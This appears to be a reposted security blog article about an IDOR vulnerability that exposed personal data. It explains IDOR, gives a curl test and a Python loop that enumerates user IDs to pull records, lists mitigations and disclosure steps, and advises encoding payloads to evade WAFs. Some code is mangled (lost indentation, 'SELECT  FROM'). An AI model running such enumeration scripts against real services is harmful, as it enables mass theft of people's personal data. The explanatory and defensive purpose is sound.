I Found an IDOR Vulnerability That Exposes Personally Identifiable Information (PII)

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An Insecure Direct Object Reference (IDOR) vulnerability was discovered, exposing 250 records containing sensitive Personally Identifiable Information (PII). Despite responsible disclosure attempts, the company failed to respond, highlighting challenges in bug bounty programs.

You Should Know:

1. Understanding IDOR Vulnerabilities

IDOR occurs when an application provides direct access to objects based on user-supplied input, bypassing authorization checks. Attackers manipulate parameters (e.g., user_id=123) to access unauthorized data.

Example Vulnerable URL:

https://example.com/profile?user_id=123

Changing `user_id=123` to `user_id=124` may expose another user’s data.

2. Testing for IDOR

Use these methods to identify IDOR vulnerabilities:

Manual Testing:

  • Modify URL parameters (id, user_id, account_id).
  • Change HTTP methods (GET to POST).
  • Test encoded/decoded IDs (e.g., Base64).

Automated Testing with Burp Suite:

 Use Burp Repeater to manipulate requests
GET /api/user?id=123 HTTP/1.1
Host: vulnerable.com

Using `curl` to Test IDOR:

curl -X GET "https://vulnerable.com/api/user?id=124" -H "Authorization: Bearer token"

3. Exploiting IDOR with Python

import requests

for user_id in range(1, 251):
response = requests.get(f"https://vulnerable.com/api/user?id={user_id}", headers={"Authorization": "Bearer token"})
if response.status_code == 200:
print(f"Data leaked for user ID {user_id}: {response.json()}")

4. Mitigation Techniques

  • Implement Access Control Checks:
    SELECT  FROM users WHERE id = ? AND user_id = current_user();
  • Use UUIDs Instead of Sequential IDs:
    /api/user?id=550e8400-e29b-41d4-a716-446655440000
  • Rate Limiting & Logging:
    Nginx rate limiting example
limit_req_zone $binary_remote_addr zone=idor:10m rate=5r/s;

5. Reporting IDOR Vulnerabilities

If a company ignores your report:

  1. Follow up via multiple channels (email, live chat, LinkedIn).
  2. Escalate to higher authorities (CISO, Data Protection Officer).
  3. If no response, consider responsible disclosure after 90 days.

What Undercode Say:

IDOR remains a critical web vulnerability due to poor access control. Ethical hackers face challenges when companies ignore reports, but persistence is key. Always:
– Test with permission (avoid legal issues).
– Use obfuscation (encode payloads to bypass WAFs).
– Document evidence (screenshots, logs).

Expected Output:

Data leaked for user ID 124: {"name": "John Doe", "email": "[email protected]", "ssn": "123-45-6789"}

Prediction:

As APIs grow, IDOR attacks will increase. Companies must adopt zero-trust architecture and automated security testing to prevent data breaches. Bug bounty programs will face stricter compliance requirements.

Relevant URL:

IT/Security Reporter URL:

Reported By: Renaldottt Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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